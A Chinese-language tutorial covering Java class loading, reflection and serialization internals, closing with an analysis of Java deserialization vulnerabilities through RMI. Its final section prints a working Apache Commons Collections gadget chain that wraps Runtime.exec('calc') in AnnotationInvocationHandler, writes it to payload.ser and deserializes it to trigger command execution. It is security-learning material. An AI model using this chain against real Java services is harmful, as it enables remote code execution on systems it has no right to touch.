一个Java程序的运行整个过程分为编译时和运行时。
首先原始的java程序源码先由java编译器javac来编译成字节码,即.class文件,然后有ClassLoader类加载器加载类的常量、方法等到内存,字节码校验器对变量初始化、方法调用、堆栈溢出等进行校验,如果校验没问题,就会交给执行引擎解释执行最终生成机器码给操作系统执行。
ClassLoader 顾名思义,它是用来加载 Class 的。它负责将 Class 的字节码(字节码的本质就是一个字节数组 []byte,它有特定的复杂的内部格式)形式转换成内存形式的 Class 对象。字节码可以来自于磁盘文件 *.class,也可以是 jar 包里的 *.class,也可以来自远程服务器提供的字节流。
ClassLoader 相当于类的命名空间,起到了类隔离的作用。位于同一个 ClassLoader 里面的类名是唯一的,不同的 ClassLoader 可以持有同名的类。ClassLoader 是类名称的容器,是类的沙箱。
不同的 ClassLoader 之间也会有合作,它们之间的合作是通过 parent 属性和双亲委派机制来完成的。
parent 具有更高的加载优先级。除此之外,parent 还表达了一种共享关系,当多个子 ClassLoader 共享同一个 parent 时,那么这个 parent 里面包含的类可以认为是所有子 ClassLoader 共享的。这也是为什么 BootstrapClassLoader 被所有的类加载器视为祖先加载器,JVM 核心类库自然应该被共享。
JVM 运行实例中会存在多个 ClassLoader,不同的 ClassLoader 会从不同的地方加载字节码文件。
JVM 中内置了三个重要的 ClassLoader,分别是:
除了JVM中默认的上述3种 ClassLoader,JVM还允许开发者扩展实现 UserDefined ClassLoader,这是开发人员通过拓展ClassLoader类定义的自定义加载器,可以完全自定义类加载的过程。有很多字节码加密技术就是依靠定制 ClassLoader 来实现的。先使用工具对字节码文件进行加密,运行时使用定制的 ClassLoader 先解密文件内容再加载这些解密后的字节码。
位于网络上静态文件服务器提供的 jar 包和 class文件,jdk 内置了一个 URLClassLoader,用户只需要传递规范的网络路径给构造器,就可以使用 URLClassLoader 来加载远程类库了。URLClassLoader 不但可以加载远程类库,还可以加载本地路径的类库,取决于构造器中不同的地址形式。ExtensionClassLoader 和 AppClassLoader 都是 URLClassLoader 的子类,它们都是从本地文件系统里加载类库。
Java中 ClassLoader 的加载过程,有一个双亲委派机制需要注意。
这三个 ClassLoader 之间形成了级联的父子关系,每个 ClassLoader 都尽量把工作交给父级做,父级没法完成才自己尝试解决。每个 ClassLoader 对象内部都会有一个 parent 属性指向它的父加载器。
双亲委派规则可能会变成三亲委派,四亲委派,取决于你使用的父加载器是谁,它会一直递归委派到根加载器。
JVM 运行并不是一次性加载所需要的全部类的,它是按需加载,也就是延迟加载。程序在运行的过程中会逐渐遇到很多不认识的新类,这时候就会调用 ClassLoader 来加载这些类。加载完成后就会将 Class 对象存在 ClassLoader 里面,下次就不需要重新加载了。
比如你在调用某个类的静态方法时,首先这个类肯定是需要被加载的,但是并不会触及这个类的实例字段,那么实例字段的类 Class 就可以暂时不必去加载,但是它可能会加载静态字段相关的类,因为静态方法会访问静态字段。而实例字段的类需要等到你实例化对象的时候才可能会加载。
因为 ClassLoader 的传递性,所有延迟加载的类都会由初始调用 main 方法的这个 ClassLoader 全全负责,它就是 AppClassLoader。
以JDBC驱动的使用场景为例,当我们在使用 jdbc 驱动时,经常会使用 Class.forName 方法来动态加载驱动类。
Class.forName("com.mysql.cj.jdbc.Driver");
其原理是 mysql 驱动的 Driver 类里有一个静态代码块,它会在 Driver 类被加载的时候执行。这个静态代码块会将 mysql 驱动实例注册到全局的 jdbc 驱动管理器里。
class Driver { static { try { java.sql.DriverManager.registerDriver(new Driver()); } catch (SQLException E) { throw new RuntimeException("Can't register driver!"); } } ... }
forName 方法同样也是使用调用者 Class 对象的 ClassLoader 来加载目标类。不过 forName 还提供了多参数版本,可以指定使用哪个 ClassLoader 来加载。
通过这种形式的 forName 方法可以突破内置加载器的限制,通过使用自定类加载器允许我们自由加载其它任意来源的类库。根据 ClassLoader 的传递性,目标类库传递引用到的其它类库也将会使用自定义加载器加载。
参考链接:
https://r17a-17.github.io/2020/06/12/ClassLoader/ https://developer.aliyun.com/article/623212 https://juejin.cn/post/6844903729435508750 https://www.jianshu.com/p/b47eb9d7b4af
Java的反射(reflection)机制是指在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法。这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。
反射(Reflection)被视为动态语言的关键,反射机制允许程序在执行期借助于Reflection API取得任何类的内部信息,并能直接操作任意对象的内部属性及方法。
通俗来说就是,Java程序在运行时 还允许你通过反射机制获取某个对象的类,还能构造对象、获取对象属性、方法并且能调用方法。
关于Java反射机制主要有以下几个API
对应可以实现在运行时判断任意一个对象所属的类。
在Object类中定义了一个方法,此方法将被所有子类继承:
public final Class getClass();
返回值的类型是一个Class类,此类是Java反射的源头,实际上所谓反射从程序的运行结果来看也很好理解,即可以动态获得一个类对象。
通过四种方法可以获取class对象
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { Class<CommandExec> clazz = CommandExec.class; System.out.println(clazz.toString()); } }
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { CommandExec cmdexec = new CommandExec(); Class clazz = cmdexec.getClass(); System.out.println(clazz.toString()); } }
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { try { Class<CommandExec> class1 = (Class<CommandExec>) Class.forName("org.example.CommandExec"); System.out.println(class1.toString()); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { CommandExec cmdexec = new CommandExec(); ClassLoader classld = cmdexec.getClass().getClassLoader(); Class clazz = classld.loadClass("org.example.CommandExec"); System.out.println(clazz.toString()); } }
对应实现在运行时构造任意一个类的对象。
class对象动态生成的方法:
CommandExec.java
package org.example; import java.io.*; public class CommandExec{ public CommandExec() { String cmd = "open -a Calculator"; try { Process process = Runtime.getRuntime().exec(cmd); InputStream is = process.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader br = new BufferedReader(isr); for(String content = br.readLine(); content != null; content = br.readLine()) { System.out.println(content); } } catch (IOException var7) { var7.printStackTrace(); } } public void hello() { System.out.println("hello!"); } }
main.java
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { Class<CommandExec> class1 = null; try { class1 = (Class<CommandExec>) Class.forName("org.example.CommandExec"); } catch (ClassNotFoundException e) { e.printStackTrace(); } CommandExec obj = class1.newInstance(); } }
package org.example; import java.io.*; import java.lang.reflect.Constructor; public class main { public static void main(String[] args) throws Exception { Class<CommandExec> class1 = null; try { class1 = (Class<CommandExec>) Class.forName("org.example.CommandExec"); } catch (ClassNotFoundException e) { e.printStackTrace(); } //获取指定声明构造函数。指定new Class[]{String.class}设置传参的类 Constructor<?> constructor = class1.getDeclaredConstructor(); Object obj = constructor.newInstance(); System.out.println(obj.toString()); } }
对应实现在运行时判断任意一个类所具有的成员变量和方法,和在运行时调用任意一个对象的成员变量和方法。
package org.example; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; public class main { public static void main(String[] args) throws Exception { Class<CommandExec> class1 = null; Object obj = null; try { class1 = (Class<CommandExec>) Class.forName("org.example.CommandExec"); obj = class1.newInstance(); } catch (ClassNotFoundException e) { e.printStackTrace(); } Field[] allFields = class1.getDeclaredFields();//获取class对象的所有属性 System.out.println(allFields); Field[] publicFields = class1.getFields();//获取class对象的public属性 System.out.println(publicFields); try { Field ageField = class1.getDeclaredField("cmd");//获取class指定属性 System.out.println(ageField); Field desField = class1.getField("cmd");//获取class指定的public属性 System.out.println(desField); } catch (NoSuchFieldException e) { e.printStackTrace(); } Method[] methods = class1.getDeclaredMethods();//获取class对象的所有声明方法 System.out.println(methods); Method[] allMethods = class1.getMethods();//获取class对象的所有方法 包括父类的方法 System.out.println(allMethods); Method method = class1.getDeclaredMethod("hello"); method.invoke(obj); } }
先定义一个类TestClass
TestClass.java
package org.example; public class TestClass { public String a = "adf"; private String b; public void method(String v) { System.out.println("正在执行method方法..."); System.out.println(v); } private String getB(){ return this.b; } }
ReflectTest可以通过反射机制获取类名、类的属性和方法、实例化类并执行方法
ReflectTest.java
package org.example; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.reflect.Modifier; public class ReflectTest { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, InvocationTargetException { ReflectTest reflectTest = new ReflectTest(); reflectTest.getAllFiled(); reflectTest.getAllMethod(); //实例化类并执行方法 Class<?> clazz = Class.forName("org.example.TestClass"); Object object = clazz.newInstance(); Method method = clazz.getDeclaredMethod("method", String.class); method.invoke(object,"这是我的输入"); } public void getAllFiled() { //获取类 Class testClass = TestClass.class; System.out.println("类的名称:" + testClass.getName()); //获取所有 public 访问权限的变量 // Field[] fields = testClass.getFields(); // 获取所有本类声明的变量(不问访问权限) Field[] fields = testClass.getDeclaredFields(); //遍历变量并输出变量信息 for (Field field : fields) { //获取访问权限并输出 int modifiers = field.getModifiers(); System.out.print(Modifier.toString(modifiers) + " "); //输出变量的类型及变量名 System.out.println(field.getType().getName() + " " + field.getName()); } } public void getAllMethod() { //获取类 Class testClass = TestClass.class; // 获取类的所有方法 Method[] methods = testClass.getDeclaredMethods(); for (Method method : methods) { //获取访问权限并输出 int modifiers = method.getModifiers(); System.out.print(Modifier.toString(modifiers) + " "); //输出变量的类型及变量名 System.out.println(method.getReturnType() + " " + method.getName()); } } }
当程序运行时,有关对象的信息就存储在了内存当中,但是当程序终止时,对象将不再继续存在。我们需要一种储存对象信息的方法,使我们的程序关闭之后他还继续存在,当我们再次打开程序时,可以轻易的还原当时的状态。这就是对象序列化的目的。
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,把字节流还原成对象。
序列化技术是一项非常方便的技术,主要有如下几个用途:
举几个具体的例子,
java的对象序列化将那些实现了Serializable接口的对象转换成一个字节序列,并且能够在以后将这个字节序列完全恢复为原来的对象,甚至可以通过网络传播,这意味着序列化机制自动弥补了不同OS之间的差异。
对象序列化的概念加入到语言中是为了支持两种主要特性:
在Java中,主要有两个接口,
用于被序列化的执行命令的类CommandExec.java
package org.example; import java.io.*; public class CommandExec implements Serializable{ public CommandExec() { String cmd = "open -a Calculator"; try { Process process = Runtime.getRuntime().exec(cmd); InputStream is = process.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader br = new BufferedReader(isr); for(String content = br.readLine(); content != null; content = br.readLine()) { System.out.println(content); } } catch (IOException var7) { var7.printStackTrace(); } } }
触发序列化、反序列化操作的main.java
package org.example; import java.io.*; public class main { public static void main(String[] args) throws Exception { serializeCommandExec(); CommandExec commandExec = (CommandExec) deserializeCommandExec(); } /** * 将CommandExec对象序列化后,输出到本地文件存储 */ private static void serializeCommandExec() throws IOException { CommandExec commandExec = new CommandExec(); // ObjectOutputStream 对象输出流 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("./CommandExec.serialization"))); oos.writeObject(commandExec); System.out.println("对象序列化成功!"); } /** * 反序列化 */ private static CommandExec deserializeCommandExec() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./CommandExec.serialization"))); CommandExec commandExec = (CommandExec) ois.readObject(); System.out.println("对象反序列化成功!"); return commandExec; } }
同时本地生成CommandExec对象的反序列化存储文件。
以下面这个序列化demo代码为例。
SerializableTest.java
package org.example; import java.io.*; public class SerializableTest { public static void main(String[] args) throws Exception { FileOutputStream fos = new FileOutputStream("temp.out"); ObjectOutputStream oos = new ObjectOutputStream(fos); TestObject testObject = new TestObject(); oos.writeObject(testObject); oos.flush(); oos.close(); FileInputStream fis = new FileInputStream("temp.out"); ObjectInputStream ois = new ObjectInputStream(fis); TestObject deTest = (TestObject) ois.readObject(); System.out.println(deTest.testValue); System.out.println(deTest.parentValue); System.out.println(deTest.innerObject.innerValue); } }
Parent.java
package org.example; import java.io.Serializable; class Parent implements Serializable { private static final long serialVersionUID = -4963266899668807475L; public int parentValue = 100; }
InnerObject.java
package org.example; import java.io.Serializable; class InnerObject implements Serializable { private static final long serialVersionUID = 5704957411985783570L; public int innerValue = 200; }
TestObject.java
package org.example; import java.io.Serializable; class TestObject extends Parent implements Serializable { private static final long serialVersionUID = -3186721026267206914L; public int testValue = 300; public InnerObject innerObject = new InnerObject(); }
程序执行完用sublime打开temp.out文件,可以看到,
调用ObjectOutputStream.writeObject()和ObjectInputStream.readObject()之后究竟做了什么?temp.out文件中的二进制分别代表什么意思?我们跟进源码进行分析。
调用wroteObject()进行序列化之前会先调用ObjectOutputStream的构造函数生成一个ObjectOutputStream对象,
构造函数中首先会把bout绑定到底层的字节数据容器,接着会调用writeStreamHeader()方法,
在writeStreamHeader()方法中首先会往底层字节容器中写入表示序列化的Magic Number以及版本号,
接下来会调用writeObject()方法进行序列化,
正常情况下会调用writeObject0()进行序列化操作,
因此,序列化过程接下来会执行到writeOrdinaryObject()这个方法中, 在这个方法中首先会往底层字节容器中写入TC_OBJECT,表示这是一个新的Object。
接下来会调用writeClassDesc()方法写入被序列化对象的类的类元数据,
在这个方法中会先判断传入的desc是否为null,如果为null则调用writeNull()方法,如果不为null,则一般情况下接下来会调用writeNonProxyDesc()方法。
在这个方法中首先会写入一个字节的TC_CLASSDESC,这个字节表示接下来的数据是一个新的Class描述符,接着会调用writeNonProxy()方法写入实际的类元信息,
writeNonProxy()方法中会按照以下几个过程来写入数据:
执行完上面的过程之后,程序流程重新回到writeNonProxyDesc()方法中,接下来会写入一个字节的标志位TC_ENDBLOCKDATA表示对一个object的描述块的结束。
然后会调用writeClassDesc()方法,传入父类的ObjectStreamClass对象,写入父类的类元数据。
需要注意的是writeClassDesc()这个方法是个递归调用,调用结束返回的条件是没有了父类,即传入的ObjectStreamClass对象为null,这个时候会写入一个字节的标识位TC_NULL。
在递归调用完成写入类的类元数据之后,程序执行流程回到wriyeOrdinaryObject()方法中。
从上面的分析中我们可以知道,当写入类的元数据的时候,是先写子类的类元数据,然后递归调用的写入父类的类元数据。接下来会调用writeSerialData()方法写入被序列化的对象的字段的数据,
在这个方法中首先会调用getClassDataSlot()方法获取被序列化对象的数据的布局,
需要注意的是这个方法会把从父类继承的数据一并返回,并且表示从父类继承的数据的ClassDataSlot对象在数组的最前面。
对于没有自定义writeObject()方法的对象来说,接下来会调用defaultWriteFields()方法写入数据,该方法实现如下:
在这个方法中会做下面几件事情:
从上面对写入数据的分析可以知道,写入数据是是按照先父类后子类的顺序来写的。
至此,Java序列化过程分析完毕,总结一下,在本例中序列化过程如下
反序列化过程就是按照前面介绍的序列化算法来解析二进制数据,并按照二进制数据中的元信息在内存中重建对象。
有一个需要注意的问题就是,如果子类实现了Serializable接口,但是父类没有实现Serializable接口,如果父类有默认构造函数的话,即使没有实现Serializable接口也不会有问题,反序列化的时候会调用默认构造函数进行初始化,否则的话反序列化的时候会抛出.InvalidClassException:异常,异常原因为no valid constructor。
参考链接:
https://r17a-17.github.io/2020/06/11/Java%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ https://r17a-17.github.io/2020/06/12/Java%E5%8F%8D%E5%B0%84%E6%9C%BA%E5%88%B6/ https://developer.aliyun.com/article/636145
在没有出现反序列化漏洞之前,漏洞利用的范畴还是被限定在存在漏洞的函数或者功能模块里的,例如:
但是反序列化漏洞像是打开了潘多拉魔盒,序列化数据本质上相当于描述一段程序的适量元信息,基于这段元信息,接收方可以在内存中完全重建被序列化对象,就像在本地重新运行了被序列化代码一样。
同时依托于Java的动态反射机制,通过反序列化注入漏洞理论上可以实例化JDK中的任意类并调用其中的成员函数,这是Java反序列化漏洞危害如此之大的一个核心点。
其实反序列化触发的类重建魔术函数导致的风险,很多语言都有(例如PHP反序列化漏洞),但是Java中,因为从app到容器层,全部都是由java class实现的,使得Java不像PHP中反序列化类重建只能实例化当前app代码路径中文件包含的类,而是可以实例化重建包含app在内的整个JDK以及底层容器中间件(例如Tomcat)内的类,这就极大扩大的攻击面。而相比之下,在PHP中,PHP的扩展so、以及PHP本身的内部函数,都是由C实现的,都是无法在反序列化中被重建的。
这里的攻击面在于,如果在JDK类或者框架代码中,存在一个能够接收外部可控的反序列化字节码接口,并对外部输入的字节码进行反序列化重建,那么就理论上存在反序列化攻击面。但是,存在攻击面并不100%等同于存在真实攻击,要将反序列化攻击面转化为实际的攻击,还需要找到另一个关键组件"Java Gadget Chain"。
通过反序列化可以在Java运行时中动态重建一个Java类,但如果只是重建一个Hello world这类无关痛痒的类,是无法构成安全风险。只有精心构造出能够具备攻击性(例如RCE、DNS外连)的类,并通过动态调用该类的成员函数(正确地传入合适的参数)实现其攻击目的,才能将反序列化的攻击面转化为实际的反序列化安全漏洞。
而上述”精心构造出能够具备攻击性(例如RCE、DNS外连、任意读写文件、内存马植入)的类,并通过动态调用该类的成员函数“的这个过程,我们统称为一个”Java Gadget Chain“。
需要主要的是,反序列化相当于一个口子,它允许在内存中动态重建任意Java类,所以反序列化带来的攻击不仅限于RCE,也包括任意文件读写、内存马植入、DNSLOG外连等攻击目的。理论上,反序列化漏洞可以导致任意Java类代码执行。
我们来通过学习几个实际的Java反序列化漏洞,分析一下反序列化利用的成因以及”Java Gadget Chain“的作用原理。
RMI使用反序列化机制来传输Remote对象,那么如果是个恶意的对象,在服务器端进行反序列化时便会触发反序列化漏洞。具体的反序列化漏洞原理可以参阅这篇文章。
前面说过,光有反序列化入口点只是第一步,下一步还需要找到”Java Gadget Chain“。
如果此时服务端存在Apache Commons Collections这种库,就可以构造出一个”Java Gadget Chain“,最终导致远程命令执行。
具体环境搭建请参阅这篇文章,我们这里直接开始分析源码。
该库中含有一个接口类叫做Tranesformer,其实现类有
前三个可以在反序列化攻击中进行利用,其本身功能及关键代码如下:
//InvokerTransformer构造函数接受三个参数,并通过反射执行一个对象的任意方法 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } //ConstantTransformer构造函数接受一个参数,并返回传入的参数 public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; } //ChainedTransformer构造函数接受一个Transformer类型的数组,并返回传入数组的每一个成员的Transformer方法 public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
将上述函数组合起来构造远程命令执行链:
Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers_exec); chain.transform('1');
那么接下来的问题就是,真实环境中如何触发ChainedTransformer.transform?我们还需要继续寻找”Java Gadget Chain“。
有两个类调用了transform方法,
TransformedMap中的调用流程为:setValue ==> checkSetValue ==> valueTransformer.transform(value),所以如果用TransformedMap调用transform方法,需要生成一个TransformedMap然后修改Map中的value值即可触发。
上述执行链修改如下,
Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers_exec); chain.transform('1'); Transformer chainedTransformer = new ChainedTransformer(transformers_exec); Map inMap = new HashMap(); inMap.put("key", "value"); Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar");
如果用LazyMap调用transform方法,调用流程为:get==>factory.transform(key),但是这些也还是需要手动调用去修改值。要自动触发需要执行readObject()方法,所用的类为AnnotationInvocationHandler,该类是JAVA运行库中的一个类,这个类有一个成员变量memberValues是Map类型,并且类中的readObject()函数中对memberValues的每一项调用了setValue()函数,完整代码如下
完整代码如下:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map inMap = new HashMap();//创建一个含有Payload的恶意map inMap.put("key", "value"); Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//创建一个含有恶意调用链的Transformer类的Map对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获取AnnotationInvocationHandler类对象 Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//获取AnnotationInvocationHandler类的构造方法 ctor.setAccessible(true); // 设置构造方法的访问权限 Object instance = ctor.newInstance(new Object[] { Retention.class, outMap }); FileOutputStream fos = new FileOutputStream("payload.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(instance); oos.flush(); oos.close(); FileInputStream fis = new FileInputStream("payload.ser"); ObjectInputStream ois = new ObjectInputStream(fis); // 触发代码执行 Object newObj = ois.readObject(); ois.close();
下面跟踪一遍RMI反序列化后,通过Apache Commons Collections的”Java Gadget Chain“利用过程。
可以看到,通过利用Apache Commons Collections的的Tranesformer接口类下的ChainedTransformer、ConstantTransformer、InvokerTransformer,我们构造出了一个”Java Gadget Chain“,其中:
综上,我们总结一下整个RMI反序列化漏洞的整体思路:
参考链接:
https://r17a-17.github.io/2020/06/10/JAVA%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%B1%BB%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/ https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#protection https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet https://www.jianshu.com/p/776c56fc3a80 https://paper.seebug.org/1131/ https://r17a-17.github.io/2021/08/27/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E9%9B%86%E5%90%88%E4%B9%8B%E9%97%B4%E7%9A%84%E6%B8%8A%E6%BA%90/ https://r17a-17.github.io/2021/08/17/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E5%8F%A3PriorityQueue%E5%88%86%E6%9E%90%E5%8F%8A%E7%9B%B8%E5%85%B3Gadget%E6%80%BB%E7%BB%93/ https://r17a-17.github.io/2021/08/06/RMI-LDAP-JNDI%E5%8F%8AJdbcRowSetImpl%E5%88%A9%E7%94%A8/